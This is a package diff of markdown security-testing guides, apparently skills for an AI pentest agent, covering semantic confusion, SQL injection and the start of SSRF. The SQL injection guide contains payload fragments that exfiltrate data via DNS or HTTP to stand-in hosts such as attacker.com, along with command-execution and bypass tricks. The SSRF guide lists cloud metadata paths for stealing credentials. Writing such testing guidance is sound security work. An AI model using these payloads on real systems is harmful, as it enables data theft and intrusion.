@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,189 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: semantic-confusion
|
|
3
|
+
description: Cross-component semantic confusion testing for parser differentials, normalization mismatches, overloaded fields, lifecycle state drift, internal redirects, protocol translation, and validator-to-sink inconsistencies
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Semantic Confusion
|
|
7
|
+
|
|
8
|
+
Use this skill when two or more components consume the same attacker-influenced value. The central question is not merely whether input is validated, but whether every consumer assigns the same meaning to the value at the moment it makes a security decision.
|
|
9
|
+
|
|
10
|
+
Typical chains cross a validator, router, proxy, framework, parser, filesystem, interpreter, cache, or browser. A value can be safe in one representation and dangerous after a later decode, normalization, fallback, or field mutation.
|
|
11
|
+
|
|
12
|
+
## Authorization and Safety Boundary
|
|
13
|
+
|
|
14
|
+
- Run active differentials only against explicit authorized targets. Preserve destination allowlists and set request, rate, body, response, timeout, and retry ceilings.
|
|
15
|
+
- Perform malformed framing, delayed-body, oversized-input, crash, or resource-exhaustion cases only in a restartable isolated lab with health monitoring.
|
|
16
|
+
- Use synthetic canaries, reversible actions, non-secret protected resources, or a constant per-test callback identifier. Never place target-derived secrets in an OAST label/body.
|
|
17
|
+
- Change one representation axis at a time so the security-relevant disagreement remains attributable to a specific boundary.
|
|
18
|
+
- Pair `browser_security` when the final consumer is a browser context, worker, cache, or navigation state machine.
|
|
19
|
+
- Do not load this skill for pure ownership drift where every component resolves and interprets the name consistently; use `infrastructure_lifecycle` unless a representation, alias, identity, or resolution-result mismatch is present.
|
|
20
|
+
|
|
21
|
+
## Core Model
|
|
22
|
+
|
|
23
|
+
Build a transformation graph before spraying payloads:
|
|
24
|
+
|
|
25
|
+
```text
|
|
26
|
+
raw bytes
|
|
27
|
+
-> transport parser
|
|
28
|
+
-> proxy / middleware representation
|
|
29
|
+
-> authorization or validation decision
|
|
30
|
+
-> rewrite / decode / normalization
|
|
31
|
+
-> internal redirect or dispatch
|
|
32
|
+
-> final sink interpretation
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
For every edge, record:
|
|
36
|
+
|
|
37
|
+
- exact input representation: bytes, string, URL, path, header list, object, or structured field
|
|
38
|
+
- owning component and implementation/version
|
|
39
|
+
- transformation performed, including error and fallback behavior
|
|
40
|
+
- security decision made before or after the transformation
|
|
41
|
+
- whether the original and transformed values remain available simultaneously
|
|
42
|
+
- whether a field changes semantic type, such as filename to URL or MIME type to handler
|
|
43
|
+
|
|
44
|
+
The highest-signal condition is `security_check(value_A)` followed by `sink(transform(value_A))` where the checked and consumed representations are not equivalent.
|
|
45
|
+
|
|
46
|
+
## High-Value Confusion Classes
|
|
47
|
+
|
|
48
|
+
### Parser Differentials
|
|
49
|
+
|
|
50
|
+
- Compare browser, framework, proxy, library, and backend parsing of the exact same bytes.
|
|
51
|
+
- Test duplicate and comma-joined fields, first-match vs last-match behavior, invalid-token recovery, comments, quoting, and empty members.
|
|
52
|
+
- Include structured formats and metadata: URL, MIME, JSON, multipart, XML, cookies, forwarded headers, and serialized objects.
|
|
53
|
+
- Treat leniency as a security feature only when every downstream consumer is equally lenient in the same way.
|
|
54
|
+
|
|
55
|
+
### Normalization and Canonicalization Drift
|
|
56
|
+
|
|
57
|
+
- Map percent-decoding count, Unicode conversion, slash/backslash handling, dot-segment removal, case folding, IDNA, numeric IP conversion, and filesystem cleanup.
|
|
58
|
+
- Compare string-prefix checks with segment-aware or origin-aware comparisons.
|
|
59
|
+
- Test malformed Unicode and replacement behavior; a rejected code point may become an allowed delimiter or wildcard later.
|
|
60
|
+
- Test path, query, and fragment separately. Browsers and routers commonly transform each source differently.
|
|
61
|
+
|
|
62
|
+
### Field and Type Overloading
|
|
63
|
+
|
|
64
|
+
- Identify shared fields reused for different concepts: path vs URL, content type vs handler, display name vs executable name, route vs filesystem location.
|
|
65
|
+
- Trace every writer and reader of the field across the complete lifecycle.
|
|
66
|
+
- Look for implicit fallback: when the intended field is empty, another field becomes authoritative.
|
|
67
|
+
- Exercise fields after errors, rewrites, subrequests, retries, internal redirects, and protocol upgrades/downgrades.
|
|
68
|
+
|
|
69
|
+
### Lifecycle and State Drift
|
|
70
|
+
|
|
71
|
+
- Trigger error paths that should terminate processing and verify that later phases actually stop.
|
|
72
|
+
- Look for stale metadata copied into a new request, subrequest, background job, cache entry, or retry.
|
|
73
|
+
- Compare direct external access with internal dispatch. Edge controls may inspect the public URL while an internal resolver opens a different path or invokes a different handler.
|
|
74
|
+
- Test order-dependent behavior: validation before rewrite, auth before route normalization, or content classification before processing.
|
|
75
|
+
|
|
76
|
+
### Boundary Translation
|
|
77
|
+
|
|
78
|
+
- Map HTTP/2 to HTTP/1 translation, proxy to application rewriting, URL to filesystem resolution, upload detector to content consumer, and client router to API request construction.
|
|
79
|
+
- In a restartable lab and only when supported by evidence, vary framing, bounded delays/body sizes, content type, pseudo-headers, and method conversion. Check target health after resource-sensitive cases.
|
|
80
|
+
- Do not assume a WAF or authorization sidecar sees the full body or final normalized request.
|
|
81
|
+
|
|
82
|
+
### Namespace and Resolution Fallback
|
|
83
|
+
|
|
84
|
+
- Identify names resolved across multiple scopes: local path, environment `PATH`, cache, private registry, public registry, plugin directory, template search path, or autoloader.
|
|
85
|
+
- Record lookup order and what happens when the intended entry is missing.
|
|
86
|
+
- Compare protected package/module names with exposed command, binary, handler, or alias names. For npm, a scoped package can expose an unscoped `bin` name, so the protected package name and invoked executable may differ.
|
|
87
|
+
- Treat automatic remote fallback or search-path fallback as an execution boundary.
|
|
88
|
+
- Load `npx_confusion` when `npx` or `npm exec` may reinterpret a missing executable as a public package spec.
|
|
89
|
+
|
|
90
|
+
## Reconnaissance
|
|
91
|
+
|
|
92
|
+
### Black-Box Mapping
|
|
93
|
+
|
|
94
|
+
1. Capture a clean baseline with raw request and response bytes.
|
|
95
|
+
2. Change one representation axis at a time: encoding depth, delimiter, duplicate, separator, method, protocol, body framing, or Unicode form.
|
|
96
|
+
3. Diff status, headers, body digest/length, timing, redirects, cache state, and out-of-band callbacks.
|
|
97
|
+
4. Replay through different paths: direct origin vs CDN, HTTP/1.1 vs HTTP/2, public route vs alternate host, synchronous vs background processing.
|
|
98
|
+
5. Cluster responses by behavior before escalating. Small differentials reveal component boundaries.
|
|
99
|
+
|
|
100
|
+
### Source-Aware Mapping
|
|
101
|
+
|
|
102
|
+
- Find every read and write of shared request/context fields, not just the obvious sink.
|
|
103
|
+
- Trace route matching, auth middleware, rewrites, internal redirects, handler selection, and response generation in execution order.
|
|
104
|
+
- Inventory decode/parse/normalize calls and note whether return values or errors are ignored.
|
|
105
|
+
- Search for compatibility fallbacks, legacy aliases, permissive recovery, default handlers, and search-path iteration.
|
|
106
|
+
- Inspect packaging and deployment defaults; distro configuration, enabled modules, plugins, and symlinks often determine reachability.
|
|
107
|
+
|
|
108
|
+
## Differential Test Matrix
|
|
109
|
+
|
|
110
|
+
Build a bounded matrix from relevant axes instead of blindly combining everything:
|
|
111
|
+
|
|
112
|
+
| Axis | Representative variants |
|
|
113
|
+
|---|---|
|
|
114
|
+
| Encoding | raw, once encoded, twice encoded, mixed case, malformed Unicode |
|
|
115
|
+
| Structure | duplicate, comma-joined, empty member, quoted, comment-like suffix |
|
|
116
|
+
| Path | `/`, `\\`, `//`, dot segments, absolute, sibling-prefix collision |
|
|
117
|
+
| URL | userinfo, numeric IP, alternate IP radix, trailing dot, fragment/query split |
|
|
118
|
+
| Transport | HTTP/1.1, HTTP/2, chunked/fixed body, delayed DATA, oversized body |
|
|
119
|
+
| Lifecycle | normal, error, retry, internal redirect, cache hit, background worker |
|
|
120
|
+
| Consumer | edge, application, library, filesystem, interpreter, browser |
|
|
121
|
+
|
|
122
|
+
Select axes supported by evidence from the target. Record which component saw which representation.
|
|
123
|
+
|
|
124
|
+
### Repeatable Harnesses
|
|
125
|
+
|
|
126
|
+
- For two local parsers, canonicalizers, or validator/consumer functions, load `hypothesis` and express the expected relationship as a property. Bound sizes/examples and keep the minimized disagreement as a regression test.
|
|
127
|
+
- For an ordered HTTP flow with cookies, redirects, captured values, and assertions, load `hurl` and encode vulnerable, fixed, and negative-control environments using the same request chain.
|
|
128
|
+
- Use raw-byte or protocol-specific harnesses when a high-level HTTP client would normalize the ambiguity away.
|
|
129
|
+
- Separate input generation from transport. Generators that are safe against pure local functions become active fuzzers when connected to a live target.
|
|
130
|
+
|
|
131
|
+
## Chaining Strategy
|
|
132
|
+
|
|
133
|
+
Treat the first differential as a primitive, then ask what authority the later consumer has:
|
|
134
|
+
|
|
135
|
+
- auth or ACL bypass -> protected route or file
|
|
136
|
+
- path/URL confusion -> source disclosure, SSRF, local socket, or unintended handler
|
|
137
|
+
- detector/consumer mismatch -> active upload processing or inline browser execution
|
|
138
|
+
- internal redirect state carryover -> handler selection or policy bypass
|
|
139
|
+
- search-path or namespace fallback -> attacker-controlled code resolution
|
|
140
|
+
- browser/router decode -> client-side path traversal, CSRF-like action, SSRF, or XSS sink
|
|
141
|
+
|
|
142
|
+
Enumerate existing local gadgets only after the primitive is proven. Prefer generic classes such as interpreters, template engines, debug tools, package scripts, local sockets, and autoload paths over a vendor-specific file list.
|
|
143
|
+
|
|
144
|
+
## Testing Methodology
|
|
145
|
+
|
|
146
|
+
1. **Define the invariant** - State what all components are expected to agree on: origin, path, type, handler, identity, length, or package name.
|
|
147
|
+
2. **Draw the graph** - List consumers and transformations in real execution order.
|
|
148
|
+
3. **Locate early decisions** - Mark validation, auth, WAF, cache, and routing checks.
|
|
149
|
+
4. **Locate late meaning changes** - Mark decodes, rewrites, fallback, internal dispatch, and sink parsing.
|
|
150
|
+
5. **Build a focused matrix** - Exercise only transformations supported by the stack.
|
|
151
|
+
6. **Isolate the disagreement** - Produce paired inputs that differ at one boundary and explain both interpretations.
|
|
152
|
+
7. **Prove the primitive safely** - Use a synthetic protected canary, reversible marker, constant callback identifier, or no-op handler whose behavior and side effects are understood.
|
|
153
|
+
8. **Escalate by capability** - Track Read -> influence -> write -> dispatch -> execute transitions with evidence and prerequisites for every edge.
|
|
154
|
+
9. **Cross-check versions/configurations** - Reproduce on a fixed version or hardened configuration when possible.
|
|
155
|
+
|
|
156
|
+
## Validation
|
|
157
|
+
|
|
158
|
+
A valid confusion finding should include:
|
|
159
|
+
|
|
160
|
+
1. the exact bytes or structured input supplied
|
|
161
|
+
2. the representation observed by the security control
|
|
162
|
+
3. the different representation observed by the final consumer
|
|
163
|
+
4. the transformation or lifecycle event that created the difference
|
|
164
|
+
5. paired control and exploit results across repeat runs
|
|
165
|
+
6. version, protocol, configuration, and interaction prerequisites
|
|
166
|
+
7. a minimal impact proof that does not depend on unrelated undefined behavior
|
|
167
|
+
|
|
168
|
+
## False Positives
|
|
169
|
+
|
|
170
|
+
- Different error messages with identical final authorization and sink behavior
|
|
171
|
+
- A parser accepts odd syntax but downstream consumers preserve the same safe meaning
|
|
172
|
+
- A normalization difference visible only in logs, with no security decision between representations
|
|
173
|
+
- WAF bypass where the application itself rejects the request identically
|
|
174
|
+
- Version-specific behavior claimed as universal without testing the relevant deployment
|
|
175
|
+
- A search-path candidate that is attacker-named but cannot be created, claimed, loaded, or executed
|
|
176
|
+
|
|
177
|
+
## Pro Tips
|
|
178
|
+
|
|
179
|
+
1. Begin with relationships and shared state, not endpoint payload lists.
|
|
180
|
+
2. Preserve raw traffic; high-level clients often normalize away the exploit before sending it.
|
|
181
|
+
3. Error paths are alternate lifecycles. Verify which fields survive and which phases still execute.
|
|
182
|
+
4. Compare direct and internal access separately; ingress policy rarely governs framework file IO or handler dispatch.
|
|
183
|
+
5. When a prefix allowlist is used, test a sibling sharing the prefix and verify with a segment-aware comparison.
|
|
184
|
+
6. Distinguish presence, reachability, and impact. Each needs separate evidence.
|
|
185
|
+
7. Generalize a finding by naming the disagreement class, not by copying its final payload.
|
|
186
|
+
|
|
187
|
+
## Summary
|
|
188
|
+
|
|
189
|
+
Semantic confusion exists when a security decision and a privileged consumer disagree about the meaning of the same attacker-influenced data. Model the entire transformation lifecycle, isolate one disagreement at a time, and prove both interpretations. The reusable unit is the boundary and its invariant—not a CVE-specific string.
|
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: sql-injection
|
|
3
|
+
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# SQL Injection
|
|
7
|
+
|
|
8
|
+
SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Databases**
|
|
13
|
+
- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
|
14
|
+
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
|
15
|
+
|
|
16
|
+
**Integration Paths**
|
|
17
|
+
- ORMs, query builders, stored procedures
|
|
18
|
+
- Search servers, reporting/exporters
|
|
19
|
+
|
|
20
|
+
**Input Locations**
|
|
21
|
+
- Path/query/body/header/cookie
|
|
22
|
+
- Mixed encodings (URL, JSON, XML, multipart)
|
|
23
|
+
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
|
24
|
+
- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
|
|
25
|
+
- JSON coercion or array containment operators
|
|
26
|
+
- Batch/bulk endpoints and report generators that embed filters directly
|
|
27
|
+
|
|
28
|
+
## Detection Channels
|
|
29
|
+
|
|
30
|
+
**Error-Based**
|
|
31
|
+
- Provoke type/constraint/parser errors revealing stack/version/paths
|
|
32
|
+
|
|
33
|
+
**Boolean-Based**
|
|
34
|
+
- Pair requests differing only in predicate truth
|
|
35
|
+
- Diff status/body/length/ETag
|
|
36
|
+
|
|
37
|
+
**Time-Based**
|
|
38
|
+
- `SLEEP`/`pg_sleep`/`WAITFOR`
|
|
39
|
+
- Use subselect gating to avoid global latency noise
|
|
40
|
+
|
|
41
|
+
**Out-of-Band (OAST)**
|
|
42
|
+
- DNS/HTTP callbacks via DB-specific primitives
|
|
43
|
+
|
|
44
|
+
## DBMS Primitives
|
|
45
|
+
|
|
46
|
+
### MySQL
|
|
47
|
+
|
|
48
|
+
- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
|
|
49
|
+
- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
|
|
50
|
+
- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
|
|
51
|
+
- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
|
|
52
|
+
- Time: `SLEEP(n)`, `BENCHMARK`
|
|
53
|
+
- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
|
|
54
|
+
|
|
55
|
+
### PostgreSQL
|
|
56
|
+
|
|
57
|
+
- Version/user/db: `version()`, `current_user`, `current_database()`
|
|
58
|
+
- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
|
|
59
|
+
- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
|
|
60
|
+
- Time: `pg_sleep(n)`
|
|
61
|
+
- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
|
|
62
|
+
- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
|
|
63
|
+
|
|
64
|
+
### MSSQL
|
|
65
|
+
|
|
66
|
+
- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
|
|
67
|
+
- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
|
|
68
|
+
- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
|
|
69
|
+
- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
|
|
70
|
+
- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
|
|
71
|
+
|
|
72
|
+
### Oracle
|
|
73
|
+
|
|
74
|
+
- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
|
|
75
|
+
- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
|
|
76
|
+
- Time: `dbms_lock.sleep(n)`
|
|
77
|
+
- Error-based: `to_number`/`to_date` conversions, `XMLType`
|
|
78
|
+
- File: `UTL_FILE` with directory objects (privileged)
|
|
79
|
+
|
|
80
|
+
## Key Vulnerabilities
|
|
81
|
+
|
|
82
|
+
### UNION-Based Extraction
|
|
83
|
+
|
|
84
|
+
- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
|
|
85
|
+
- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
|
|
86
|
+
- When UNION is filtered, switch to error-based or blind channels
|
|
87
|
+
|
|
88
|
+
### Blind Extraction
|
|
89
|
+
|
|
90
|
+
- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
|
|
91
|
+
- Binary search on character space for fewer requests
|
|
92
|
+
- Encode outputs (hex/base64) to normalize
|
|
93
|
+
- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
|
|
94
|
+
|
|
95
|
+
### Out-of-Band
|
|
96
|
+
|
|
97
|
+
- Prefer OAST to minimize noise and bypass strict response paths
|
|
98
|
+
- Embed data in DNS labels or HTTP query params
|
|
99
|
+
- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
|
|
100
|
+
- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
|
|
101
|
+
- MySQL: `LOAD_FILE` with UNC path
|
|
102
|
+
|
|
103
|
+
### Write Primitives
|
|
104
|
+
|
|
105
|
+
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
|
106
|
+
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
|
107
|
+
- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
|
|
108
|
+
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
|
109
|
+
|
|
110
|
+
### ORM and Query Builders
|
|
111
|
+
|
|
112
|
+
- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
|
|
113
|
+
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
|
114
|
+
- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
|
|
115
|
+
- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
|
|
116
|
+
|
|
117
|
+
### Uncommon Contexts
|
|
118
|
+
|
|
119
|
+
- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
|
|
120
|
+
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
|
121
|
+
- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
|
|
122
|
+
- XML/JSON functions: error generation via malformed documents/paths
|
|
123
|
+
|
|
124
|
+
## Bypass Techniques
|
|
125
|
+
|
|
126
|
+
**Whitespace/Spacing**
|
|
127
|
+
- `/**/`, `/**/!00000`, comments, newlines, tabs
|
|
128
|
+
- `0xe3 0x80 0x80` (ideographic space)
|
|
129
|
+
|
|
130
|
+
**Keyword Splitting**
|
|
131
|
+
- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
|
|
132
|
+
|
|
133
|
+
**Numeric Tricks**
|
|
134
|
+
- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
|
|
135
|
+
|
|
136
|
+
**Encodings**
|
|
137
|
+
- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
|
|
138
|
+
- `char()`/`CONCAT_ws` to build tokens
|
|
139
|
+
|
|
140
|
+
**Clause Relocation**
|
|
141
|
+
- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
|
|
142
|
+
|
|
143
|
+
## Testing Methodology
|
|
144
|
+
|
|
145
|
+
1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
|
|
146
|
+
2. **Determine input influence** - User input in identifiers vs values
|
|
147
|
+
3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
|
|
148
|
+
4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
|
|
149
|
+
5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
|
|
150
|
+
6. **Pivot to metadata** - version, current user, database name
|
|
151
|
+
7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
|
|
152
|
+
|
|
153
|
+
## Validation
|
|
154
|
+
|
|
155
|
+
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
|
|
156
|
+
2. Extract verifiable metadata (version, current user, database name) using the established channel
|
|
157
|
+
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
|
|
158
|
+
4. Provide reproducible requests that differ only in the injected fragment
|
|
159
|
+
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
|
|
160
|
+
|
|
161
|
+
## False Positives
|
|
162
|
+
|
|
163
|
+
- Generic errors unrelated to SQL parsing or constraints
|
|
164
|
+
- Static response sizes due to templating rather than predicate truth
|
|
165
|
+
- Artificial delays from network/CPU unrelated to injected function calls
|
|
166
|
+
- Parameterized queries with no string concatenation, verified by code review
|
|
167
|
+
|
|
168
|
+
## Impact
|
|
169
|
+
|
|
170
|
+
- Direct data exfiltration and privacy/regulatory exposure
|
|
171
|
+
- Authentication and authorization bypass via manipulated predicates
|
|
172
|
+
- Server-side file access or command execution (platform/privilege dependent)
|
|
173
|
+
- Persistent supply-chain impact via modified data, jobs, or procedures
|
|
174
|
+
|
|
175
|
+
## Pro Tips
|
|
176
|
+
|
|
177
|
+
1. Pick the quietest reliable oracle first; avoid noisy long sleeps
|
|
178
|
+
2. Normalize responses (length/ETag/digest) to reduce variance when diffing
|
|
179
|
+
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
|
|
180
|
+
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
|
|
181
|
+
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
|
|
182
|
+
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
|
|
183
|
+
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
|
|
184
|
+
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
|
|
185
|
+
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
|
|
186
|
+
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
|
|
187
|
+
|
|
188
|
+
## Summary
|
|
189
|
+
|
|
190
|
+
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
|
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ssrf
|
|
3
|
+
description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# SSRF
|
|
7
|
+
|
|
8
|
+
Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Scope**
|
|
13
|
+
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
|
14
|
+
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
|
15
|
+
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
|
16
|
+
- Cloud and platform metadata endpoints, instance services, and control planes
|
|
17
|
+
|
|
18
|
+
**Direct URL Params**
|
|
19
|
+
- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
|
|
20
|
+
|
|
21
|
+
**Indirect Sources**
|
|
22
|
+
- Open Graph/link previews, PDF/image renderers
|
|
23
|
+
- Server-side analytics (Referer trackers), import/export jobs
|
|
24
|
+
- Webhooks/callback verifiers
|
|
25
|
+
|
|
26
|
+
**Protocol-Translating Services**
|
|
27
|
+
- PDF via wkhtmltopdf/Chrome headless, image pipelines
|
|
28
|
+
- Document parsers, SSO validators, archive expanders
|
|
29
|
+
|
|
30
|
+
**Less Obvious**
|
|
31
|
+
- GraphQL resolvers that fetch by URL
|
|
32
|
+
- Background crawlers, repository/package managers (git, npm, pip)
|
|
33
|
+
- Calendar (ICS) fetchers
|
|
34
|
+
|
|
35
|
+
## High-Value Targets
|
|
36
|
+
|
|
37
|
+
### AWS
|
|
38
|
+
|
|
39
|
+
- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
|
|
40
|
+
- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
|
|
41
|
+
- If sink cannot set headers or methods, seek intermediaries that can
|
|
42
|
+
- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
|
|
43
|
+
|
|
44
|
+
